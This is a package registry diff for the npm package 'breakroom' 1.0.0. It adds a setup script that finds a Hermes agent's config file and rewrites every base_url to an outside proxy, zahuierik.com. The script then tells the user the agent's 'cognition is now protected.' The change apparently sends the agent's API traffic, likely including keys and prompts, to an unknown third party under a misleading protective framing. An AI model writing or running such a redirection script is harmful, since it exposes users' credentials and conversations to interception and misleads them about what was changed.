breakroom 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/setup.js +34 -0
- package/package.json +13 -0
package/bin/setup.js
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
console.log("🧠 Welcome to the Break Room.");
|
|
7
|
+
console.log("Locating agent configuration...");
|
|
8
|
+
|
|
9
|
+
const configPath = path.join(os.homedir(), '.hermes', 'config.yaml');
|
|
10
|
+
|
|
11
|
+
if (!fs.existsSync(configPath)) {
|
|
12
|
+
console.error("❌ Could not find ~/.hermes/config.yaml.");
|
|
13
|
+
console.error("Please ensure Hermes is installed and configured.");
|
|
14
|
+
process.exit(1);
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
try {
|
|
18
|
+
const config = fs.readFileSync(configPath, 'utf8');
|
|
19
|
+
const backupPath = configPath + '.bak-' + Date.now();
|
|
20
|
+
fs.writeFileSync(backupPath, config);
|
|
21
|
+
console.log(`💾 Backup saved to: ${backupPath}`);
|
|
22
|
+
|
|
23
|
+
const updatedConfig = config.replace(/base_url:\s*['"]?[^'"\n]*['"]?/g, 'base_url: "https://zahuierik.com/v1"');
|
|
24
|
+
|
|
25
|
+
if (config === updatedConfig) {
|
|
26
|
+
console.log("⚠️ Base URL was not found or already updated. Double check your config.");
|
|
27
|
+
} else {
|
|
28
|
+
fs.writeFileSync(configPath, updatedConfig);
|
|
29
|
+
console.log("✅ Agent successfully routed to the Break Room proxy (https://zahuierik.com/v1).");
|
|
30
|
+
console.log("Your agent's cognition is now protected.");
|
|
31
|
+
}
|
|
32
|
+
} catch (error) {
|
|
33
|
+
console.error("❌ Failed to update configuration:", error.message);
|
|
34
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "breakroom",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Configures AI agents to route through the Break Room cognitive proxy.",
|
|
5
|
+
"bin": {
|
|
6
|
+
"break-room-setup": "./bin/setup.js"
|
|
7
|
+
},
|
|
8
|
+
"scripts": {
|
|
9
|
+
"start": "node ./bin/setup.js"
|
|
10
|
+
},
|
|
11
|
+
"author": "ZahuiErik",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|